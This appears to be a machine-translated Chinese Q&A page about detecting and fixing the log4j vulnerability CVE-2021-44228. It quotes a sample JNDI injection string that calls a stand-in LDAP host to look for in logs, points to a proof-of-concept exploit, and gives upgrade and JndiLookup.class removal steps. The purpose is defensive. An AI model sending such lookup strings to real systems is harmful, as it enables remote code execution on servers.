【问题标题】:How to check if our system has been exploited by log4j vulnerability?如何检查我们的系统是否被 log4j 漏洞利用?
【发布时间】:2022-01-17 00:24:03
【问题描述】:

最近报告了一个log4j漏洞:

  1. https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  2. https://www.randori.com/blog/cve-2021-44228/
  3. https://www.lunasec.io/docs/blog/log4j-zero-day/

我如何确切知道我的系统已被注入的任意代码攻击或利用?

非常感谢

【问题讨论】:

    标签: log4j log4j2 cve


    【解决方案1】:

    如果您看到类似这样的内容,可以查看您的请求日志:

    {jndi:ldap://example.com:1234/callback}
    

    如果你想检查你是否会受到攻击,你可以从 Github 运行 POC。这个link 似乎是第一个发布的 POC。您现在可以找到其他人了。

    您还可以找到黑盒测试here

    【讨论】:

    • 如果 {} 应该是替代品,它不会被替代吗?
    【解决方案2】:

    更新:2021-12-18...

    请记住始终从下面列出的资源中查看最新信息

    CVE-2021-45105... 2.16.0 和 2.12.2 不再是有效的补救措施!当前的修复版本是 2.17.0 (Java 8) 和 2.12.3 (Java 7)。所有其他 Java 版本都必须采取权宜之计(从 log4j-core JAR 中删除/删除 JndiLookup.class 文件。
    我已相应地在下面更新了我的消息。


    直接回答问题:
    Reddit thread: log4j_0day_being_exploited 有多种资源可以帮助您。

    检测漏洞

    • cntl + f 用于Vendor Advisories。检查这些列表以查看您是否正在运行任何该软件。如果您是并且有可用的更新,请更新。
    • 然后 cntl + f.class and .jar recursive hunter。在那里运行程序,如果它发现任何补救措施。
    • 如果您想针对漏洞对系统执行手动主动测试,您也可以 cntl + f for Vulnerability Detection

    检测漏洞利用...这更复杂,我要做的就是直到你

    • cntl + f for Vendor Advisories...搜索那里的东西...不确定哪个选项最适合您

    补救措施:
    CVE-2021-45046 ... CVE-2021-44228 ... CVE-2021-45105
    虽然大多数需要知道的人可能已经知道足够多的知识来做他们需要做的事情,但我想我还是会把这个放在以防万一......

    • 遵循这些资源中的指导......它可能会改变,但是

    截至 2021 年 12 月 18 日

    基本上是

    • 尽可能删除 log4j-core JAR 文件
      • 从两台正在运行的机器上立即修复和
      • 在您的源代码/源代码管理文件中,以防止未来的构建/发布/部署覆盖更改
    • 如果这不可能(由于依赖),请升级它们
      • 如果你运行的是 Java8,那么你可以升级到 log4j 2.17.0+
      • 如果您运行的是早期版本的 Java,则可以升级到 log4j 2.12.3
      • 如果您运行的是旧版本的 Java,则需要升级到最新版本的 Java,然后使用最新版本的 Log4J
      • 同样,这些更改必须同时发生在正在运行的机器和代码中
    • 如果由于某种原因这两种方法都不可能……那么从 log4j-core JAR 中删除 JndiLookup.class 文件是非补救性的。
      • 在 Linux 上使用zip 命令提供了一种止损选项,默认情况下,大多数 Linux 发行版都附带该命令。
        • zip -q -d "$LOG4J_JAR_PATH" org/apache/logging/log4j/core/lookup/JndiLookup.class
      • 在撰写本文时,大多数 Windows 上的止损选项在线指南都说要执行以下操作(再次...假设您无法执行上述删除 JAR 或升级选项之一):
        • 安装类似 7-zip 的东西
        • 找到所有 log4j-core JAR 文件,并为每个文件执行以下操作...
        • 重命名 JAR 以将扩展名更改为 .zip
        • 使用 7-zip 解压缩 JAR(现在有一个 .zip 扩展名)
        • 从解压缩的文件夹中找到并删除 JndiLookup.class 文件
          • 路径是\\path\\to\\unzippedFolder\\org\\apache\\logging\\log4j\\core\\lookup\\JndiLookup.class
        • 删除旧的 JAR 文件(现在扩展名为 .zip)
        • 使用 7-zip 重新压缩文件夹
        • 重命名新的 .zip 文件夹以将扩展名更改为 .jar
      • 还有一些使用 Power Shell 的选项

    如果您只有 1 或 2 个 JAR 文件要处理并且您不介意安装 7-zip 或者您有 PowerShell 可用,这很好。但是,如果您有很多 JAR 文件,或者您不想安装 7-zip 并且无权访问 Power Shell,我创建了一个开源 VBS 脚本,无需安装即可为您完成任何附加软件。 https://github.com/CrazyKidJack/Windowslog4jClassRemover

    阅读自述文件和发行说明https://github.com/CrazyKidJack/Windowslog4jClassRemover/releases/latest

    【讨论】:

      猜你喜欢
      • 2022-01-16
      • 2022-01-18
      • 2022-01-19
      • 2012-08-16
      • 2019-03-20
      • 1970-01-01
      • 2022-01-20
      • 2022-11-11
      • 2022-01-17
      相关资源
      最近更新 更多